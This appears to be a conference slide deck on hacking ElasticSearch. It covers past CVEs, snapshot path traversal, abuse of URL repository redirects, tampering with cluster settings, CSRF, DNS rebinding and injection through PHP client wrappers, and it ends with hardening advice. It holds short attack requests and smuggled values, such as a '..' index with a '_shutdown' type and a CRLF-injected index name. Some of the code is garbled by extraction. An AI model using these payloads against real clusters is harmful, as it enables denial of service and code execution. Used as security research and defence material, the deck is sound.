

# Hacking ElasticSearch

@d0znpp Wallarm

## @d0znpp BIO

- Security researcher
  - SSRF bible
     <a href="https://www.reddit.com/r/netsec/comments/2tpfz7/ssrf\_bible\_cheatsheet\_by\_onsec/">https://www.reddit.com/r/netsec/comments/2tpfz7/ssrf\_bible\_cheatsheet\_by\_onsec/</a>
  - Memcached injection (BHUS-14)
     <a href="https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-B">https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-B</a>
     ook-Memcached-Injections-WP.pdf
- Bug hunter since 2009
  - Facebook/Google/Yandex/MailRU
- ~ ^ ~ `Wallarm (WAF killer)





#### What is ElasticSearch?

https://github.com/elastic/elasticsearch open source

Distributed Lucene instances broker

- RESTful API
- Native Java API

Do you know which version is actual?

#### Previous works

- NoSQL Injection for Elasticsearch Kindle Edition by Gary Drocella <a href="http://goo.gl/OnfMOz">http://goo.gl/OnfMOz</a>
- => ACL to 9200 and 9300
- NoSQL Injections: Moving Beyond 'or '1'='1'. Matt Bromiley Derbycon 2014 <a href="http://goo.gl/UBh42h">http://goo.gl/UBh42h</a>
- => do not produce JSON by strings concatenation
- Securing ElasticSearch <a href="http://goo.gl/lk3023">http://goo.gl/lk3023</a>
- => Use Nginx to provide BasicAuth and other advices

#### **CVE** history

#### https://www.elastic.co/community/security

- CVE-2015-4165 is not disclosed yet;
- "All Elasticsearch versions from 1.0.0 to 1.5.2 are vulnerable to an attack that uses Elasticsearch to modify files read and executed by certain other applications."
  - CVE-2015-3337 path trav. <a href="https://goo.gl/YWwu3a">https://goo.gl/YWwu3a</a>
  - CVE-2015-1427 Groovy RCE <a href="https://goo.gl/Bi9SfC">https://goo.gl/Bi9SfC</a>
  - CVE-2014-6439 CORS issue <a href="https://goo.gl/7kMxod">https://goo.gl/7kMxod</a>
  - CVE-2014-3120 Java RCE <a href="https://goo.gl/iZL5L8">https://goo.gl/iZL5L8</a>

#### Scope of the research

- Data store
  - Snapshots
    - to files
    - to S3/sources
    - from HTTP(s) readonly import
  - Indexes
  - 0 ..
- Scripting
- Plugins
- RESTful API
- Clients/wrappers

```
84
         public static Path get(Path[] roots, String path) {
85
             for (Path root : roots) {
86
                 Path normalizedRoot = root.normalize();
87
                 Path normalizedPath = normalizedRoot.resolve(path).normalize();
88
                 if(normalizedPath.startsWith(normalizedRoot)) {
89
                     return normalizedPath;
90
91
92
             return null;
93
```

https://docs.oracle.com/javase/7/docs/api/java/nio/file/Path.html#normalize():

The precise definition of this method is implementation dependent but in general it derives from this path, a path that does not contain *redundant* name elements. In many file systems, the "." and ".." are special names used to indicate the current directory and parent directory. In such file systems all occurrences of "." are considered redundant. If a ".." is preceded by a non-".." name then both names are considered redundant (the process to identify such names is repeated until is it no longer applicable).

**This method does not access the file system**; the path may not locate a file that exists. Eliminating ".." and a preceding name from a path may result in the path that locates a different file than the original path. This can arise when the preceding name is a symbolic link.

#### Windows filesystems:

- ... is equivalent of ../../
- %WINDIR% macroses
- > < " special chars in filenames (wildcards)</li>

URL-based read-only repository

Url should be listed in the **repositories.url.allowed\_urls** settings

```
PUT / snapshot/fromurl HTTP/1.1
Host: localhost:9200
Accept: */*
Content-Length: 93
  "type": "url",
  "settings": {
                                 302 redirect to unlisted location:)
     "url": "http://localhost/"
```

## Dynamic settings and configs

```
444
          private boolean updateSettings(Settings toApply, Settings.Builder target, Settings.Builder updates, String type, boolean only
445
              boolean changed = false;
446
              final Set<String> toRemove = new HashSet<>();
              Settings.Builder settingsBuilder = Settings.builder();
447
              for (Map.Entry<String, String> entry : toApply.getAsMap().entrySet()) {
                  if (entry.getValue() == null) {
                      toRemove.add(entry.getKey());
                  } else if ((onlyDynamic == false && get(entry.getKey()) != null) || hasDynamicSetting(entry.getKey())) {
451
452
                      validate(entry.getKey(), toApply);
453
                      settingsBuilder.put(entry.getKey(), entry.getValue());
                      updates.put(entry.getKey(), entry.getValue());
455
                      changed = true;
456
                 } else {
457
                      throw new IllegalArgumentException(type + " setting [" + entry.getKey() + "], not dynamically updateable");
458
459
461
              changed |= applyDeletes(toRemove, target);
              target.put(settingsBuilder.build());
              return changed;
463
464
```

## Dynamic settings and configs

```
private boolean updateSettings(Settings toApply, Settings.Builder target, Settings.Builder updates, String type, boolean only
445
              boolean changed = false;
446
              final Set<String> toRemove = new HashSet<>();
              Settings.Builder settingsBuilder = Settings.builder();
447
              for (Map.Entry<String, String> entry: toApply.getAsMap().entrySet()) {
                  if (entry.getValue() == null) {
                      toRemove.add(entry.getKey());
                  } else if ((onlyDynamic == false && get(entry.getKey()) != null) || hasDynamicSetting(entry.getKey())) {
451
452
                      validate(entry.getKey(), toApply);
453
                      settingsBuilder.put(entry.getKey(), entry.getValue());
454
                      updates.put(entry.getKey(), entry.getValue());
455
                      changed = true;
456
                  } else {
457
                      throw new IllegalArgumentException(type + " setting [" + entry.getKey() + "], not dynamically updateable");
458
459
461
              changed |= applyDeletes(toRemove, target);
              target.put(settingsBuilder.build());
              return changed;
463
464
```

# Dynamic settings and configs

```
Settings Builder undates, String type, boolean only[
         private boolean updateSettings(Setti
445
             boolean changed = false
                                   PUT / cluster/settings HTTP/1.1
            final Set<String> toRem
                                   Host: localhost:9200
             Settings.Builder settin
            for (Map.Entry<String,
                                   Accept: */*
                if (entry.getValue)
                    toRemove.add(en
                                   Content-Length: 85
                } else if ((onlyDyn
                                                                                               entry.getKey())) {
451
452
                    validate(entry
                    settingsBuilder
453
                    updates.put(ent
                                       "transient" : {
                    changed = true;
                } else {
                                          "non-dynamic-setting-here": null
                    throw new Illeg
                                                                                               dynamically updateable");
458
            changed |= applyDeletes(toRemove, target);
461
             target.put(settingsBuilder.build());
             return changed;
463
464
```

#### CSRF RESTful API

Content-type validation... No!

```
<form action="localhost:9200/_settings">
<input type=text name='{"settings:""...' value=''>
```

## DNS rebinding

Different DNS answers for first and second requests

It's a bad way to answer for any HOST in request

#### Wrappers security

**BugBounty** 

https://research.facebook.com/search?q=a%20 200

https://research.facebook.com/search?q=a%22 500

\$1000 reward for injection into JSON to ElasticSearch

But it might be RCE...

# Wrappers security. ES original wrapper

All URI parts goes through PHP urlencode().

But dot (0x2e) IS NOT encoded by RFC

json\_encode protects from injections into values

```
$params = array();
$params['body'] = array('testField' => 'abc');
$params['index'] = '..';
$params['type'] = '_shutdown';
// Document will be indexed to my_index/my_type/<autogenerated_id>
$ret = $client->index($params);
```

#### Wrappers security. Nervetattoo

- URI parts "as is"
- json\_encode protects from injections into values

```
$results = $es
   ->setIndex("what/../do/you/want!/")
   ->setType("and/../here/also!")
   ->search('title:cool&key=value&script_fields');
```

#### Wrappers security. Nervetattoo

But it's a raw socket, baby!

```
$results = $es
   ->setIndex(" HTTP/1.1\r\n..."script":"..."") // CVE
   ->setType("my_type")
   ->search('title:cool');
```

#### Summary

- Do not run on Windows
- Protect from Internet direct access
- Protect from users direct access (CSRF and DNS rebinding)
- Fuzz/analyze used wrapper for your platform (PHP, NodeJS, etc)
- Disable RESTful API if possible

#### Thanks!

blog.wallarm.com

@d0znpp

